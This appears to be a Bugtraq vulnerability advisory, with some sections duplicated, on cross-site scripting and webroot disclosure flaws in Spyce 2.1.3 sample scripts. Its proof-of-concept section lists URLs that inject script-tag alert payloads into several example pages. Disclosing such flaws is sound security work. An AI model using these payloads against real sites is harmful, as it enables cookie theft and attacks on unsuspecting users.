Spyce Sample Scripts Multiple Input Validation Vulnerabilities
BID:27898
Info
Spyce Sample Scripts Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 27898 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-0982 CVE-2008-0980 CVE-2008-0981 |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 19 2008 12:00AM |
| Updated: | Jul 06 2016 02:17PM |
| Credit: | Richard Brain, Jan Fry, and Bruno Kovacs of ProCheckUp Ltd discovered these vulnerabilities. |
| Vulnerable: |
Spyce Spyce 2.1.3 |
| Not Vulnerable: | |
Discussion
Spyce Sample Scripts Multiple Input Validation Vulnerabilities
Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.
The issues affect Spyce 2.1.3; other versions may also be vulnerable.
Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.
The issues affect Spyce 2.1.3; other versions may also be vulnerable.
Exploit / POC
Spyce Sample Scripts Multiple Input Validation Vulnerabilities
Attackers can exploit these issues by enticing an unsuspecting user to follow a malicious URI.
The following proof-of-concept URIs are available:
http://www.example.com/docs/examples/redirect.spy?url=%3CSCRIPT%3Ealert('Can%20Cross%20Site%20Attack')%3C/SCRIPT%3E&type=internal
http://www.example.com/docs/examples/handlervalidate.spy?x="><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://www.example.com/spyce/examples/request.spy?name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://www.example.com/spyce/examples/getpost.spy?Name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://www.example.com/spyce/examples/formtag.spy?="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&foo=Submit!&mycheck=check1&mypass=secret&myradio=radio_option1&mytext=some&mytextarea=</textarea><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://www.example.com/spyce/examples/formtag.spy?mypass=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
Requesting the following URL returns the server's webroot:
http://www.example.com/spyce/examples/automaton.spy
Attackers can exploit these issues by enticing an unsuspecting user to follow a malicious URI.
The following proof-of-concept URIs are available:
http://www.example.com/docs/examples/redirect.spy?url=%3CSCRIPT%3Ealert('Can%20Cross%20Site%20Attack')%3C/SCRIPT%3E&type=internal
http://www.example.com/docs/examples/handlervalidate.spy?x="><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://www.example.com/spyce/examples/request.spy?name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://www.example.com/spyce/examples/getpost.spy?Name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://www.example.com/spyce/examples/formtag.spy?="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&foo=Submit!&mycheck=check1&mypass=secret&myradio=radio_option1&mytext=some&mytextarea=</textarea><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://www.example.com/spyce/examples/formtag.spy?mypass=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
Requesting the following URL returns the server's webroot:
http://www.example.com/spyce/examples/automaton.spy
Solution / Fix
Spyce Sample Scripts Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Spyce Sample Scripts Multiple Input Validation Vulnerabilities
References:
References: